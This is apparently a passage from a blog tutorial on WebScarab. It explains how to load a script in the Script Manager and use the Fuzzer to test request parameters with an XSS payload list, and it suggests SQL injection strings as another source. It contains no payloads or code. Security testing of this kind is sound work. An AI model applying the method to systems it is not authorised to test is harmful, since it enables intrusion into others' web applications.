Now every time a conversation is added to the Summary of WebScarab this script will run as long as the checkbox is selected next to the script in the Script Manager.



Using the Fuzzer
Once you have the above script loaded in the Script Manager go to the Summary tab and find a conversation that you want to fuzz. You can look at the parameters column to find a fuzzable request. Now right click and select Use as fuzz template. Select the Fuzzer tab now and you will see your request added here with all the parameters broken out.
Click Source in the middle of the Fuzzer plugin and add the same xss.txt file that you have listed in the above script. Once this is done you can use this file to fuzz the parameters in the fuzz template.
Select the fuxx source for each parameter from a drop down box.

Now click start. If any of your fuzzing executed an XSS you will see files appearing in your folder you assigned in the Script Manager.



As you can see this can be used for several different things. You could have sql injection strings listed in the fuzzer sources and then have partial sql error messages be in the file you use as input to the script you added to the Script Manager. Once you know your way around WebScarab and which hooks are available you are only limited by your imagination.


More on Webscarab and Scripting.
In the script manager you will see descriptions of the hooks available to you. I just explained the conversation options but there are Proxy options as well. You can have special scripts run on both the request and response for the proxy. I used the conversation because I could not query the responses from the fuzzer plugin via the proxy scripts. Some ideas I have thought about implementing are alerts that pop up when patterns in the responses like hidden error messages, ip address strings, etc. are found.










Slashdot Slashdot It!